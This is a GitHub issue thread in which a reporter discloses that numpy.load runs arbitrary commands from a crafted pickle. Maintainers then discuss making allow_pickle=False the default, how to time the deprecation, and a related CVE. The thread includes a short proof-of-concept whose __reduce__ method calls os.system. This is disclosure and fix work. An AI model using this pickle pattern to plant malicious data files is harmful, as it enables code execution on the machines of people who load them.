

numpy load function with evil data will cause command execution #12759

Closed

nanshihui opened on Jan 16, 2019

numpy load function with evil data will cause command execution,if attack share evil data on internet, when user load it , it will cause command execution.

Reproducing code example:

```
import numpy
from numpy import __version__
print __version__
import os
import pickle
class Test(object):
    def __init__(self):
        self.a = 1

    def __reduce__(self):
        return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle","wb") as f:
    pickle.dump(tmpdaa,f)
numpy.load('a-file.pickle')
```

Numpy/Python version information:

1.14.6

nanshihui on Jan 16, 2019

Author

the version <=1.16.0 , worked

1

seberg on Jan 16, 2019 · edited by seberg

Edits Member

Yes, which is why `np.load(allow_pickle=True)` was added, now I guess we could make a move to switch over to defaulting to `False` and give a well readable message " use `allow_pickle=True` if you trust this file".

I agree that this would be the better default, so I am open to pushing that deprecation, even if it is unfortunately a bit noisy e.g. for all those scientists just sharing some data in the lab (or just saving/reloading themselves).

 **seberg** added **00 - Bug** **15 - Discussion** on Jan 16, 2019

 seberg on Jan 16, 2019

Member ...

So `allow_pickle` was added in april 2015, so it would seem that is should have existed since numpy 1.10. So I think that move does get more realistic now, since I doubt many using/supporting 1.17 will also still support 1.10 (removing the pain of supporting the kwarg or not supporting it). Although for the moment it seems scipy at least still supports 1.8 in version 1.

 nanshihui on Jan 17, 2019

Author ...

it seems it will be last for a long time

 Plazmaz on Jan 18, 2019

...

I would suggest logging a deprecation warning and giving a date if you want a smooth transition.

 seberg on Jan 18, 2019

Member ...

@Plazmaz of course, I would go with a `VisibleDeprecationWarning`, if we want casual users to stop doing it. Then deprecate after one or two releases. The thing is that it is annoying to work around if you have to and the kwarg does not exist in some older versions. Because then you have to do `if np.__version__ > ...: use kwarg else do not use kwarg` to avoid the warning and support both.

Anyway, I think there is a good chance you can get it into 1.17. So if you feel open a PR, but we may want to ping the mailing list to see if someone complains.

 limburgher on Jan 23, 2019

Contributor ...

Hi, Fedora numpy RPM maintainer. What's a good way to mitigate this in distro packaging?

 seberg on Jan 23, 2019

Member ...

I do not know of a nice way. Depending on the concern level, I would be up to adding a warning very soon, so that it is definitely there in 1.17. If someone is extremely concerned, we could discuss backporting it or moving quicker, but that would depend a lot on whether or not downstream depends on it.

jhanwar on Jan 23, 2019

I am **working** on this.

tylerjereddy on Jan 31, 2019

Contributor

cc [@jeanqasaur](#) re: security / vulnerability expertise



[ivanov](#) mentioned this on Jan 31, 2019



[BUG: Make allow_pickle=False the default for loading #12889](#)

eric-wieser on Jan 31, 2019 · edited by eric-wieser

Edits ▾

Member

Hi, Fedora numpy RPM maintainer. What's a good way to mitigate this in distro packaging?

[@limburgher](#): what does fedora do about the exact same functionality built into Python? It's not clear that this is something that needs mitigating.

While I'm not opposed to changing the default, it seems wrong to declare this a vulnerability. It's working as documented and designed.

42 remaining items

Load more



[loriab](#) mentioned this on Apr 23, 2019



[explicitly np.load\(..., allow_pickle=True\) since we're building objects psi4/psi4#1607](#)

Manjunath07 on Apr 24, 2019

Could you please close this issue as it is referenced in <https://nvd.nist.gov/vuln/detail/CVE-2019-6446> because of which nexus iq still consider it has Vulnerable



[rgommers](#) closed this as completed on Apr 24, 2019

rgommers on Apr 24, 2019

Member

thanks [@Manjunath07](#)

-   **qbeer** mentioned this [on Apr 26, 2019](#)
-  [allow pickle default changed \(!\), I couldn't load the data google-research/disentanglement_lib#3](#)
-   **Cossack9989** mentioned this [on Dec 13, 2019](#)
-  [joblib.load with evil data will cause command execution joblib/joblib#977](#)
-   **jkrauze** mentioned this [on Jan 12, 2020](#)
-  [ValueError: Object arrays cannot be loaded when allow_pickle=False jkrauze/ntru#3](#)
-   **fischersean** mentioned this [on Jan 15, 2021](#)
-  [Arbitrary code execution sqlalchemy 418sec/huntr#1568](#)
-   **boluoha** mentioned this [on Jan 18, 2021](#)
-  [红队和蓝队资料集锦 boluoha/-blog-#3](#)
-   **renzu0** mentioned this [on Feb 2, 2021](#)
-  [红队和蓝队资料集锦 renzu0/Red-team#1](#)
-   **eric-wieser** mentioned this [on Mar 4, 2021](#)
-  [ENH,API: Store exported buffer info on the array #16938](#)
-   **rgommers** removed **good first issue** [on Nov 30, 2021](#)
-   **NexediGitlab** added 2 commits that reference this issue [on Mar 2, 2023](#)
- erp5_wendelin: do not load pickles when converting wendelin text form.  40a24a0
- erp5_wendelin: do not load pickles when converting wendelin text form.  08ac130
-   **NexediGitlab** added a commit that references this issue [on Aug 1, 2025](#)
- erp5_wendelin: do not load pickles when converting wendelin text form.  039106e

[Sign up for free](#) to join this conversation on **GitHub**. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

00 - Bug **15 - Discussion** **component: documentation**

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

 Code with agent mode

▼

No branches or pull requests

Participants

 +9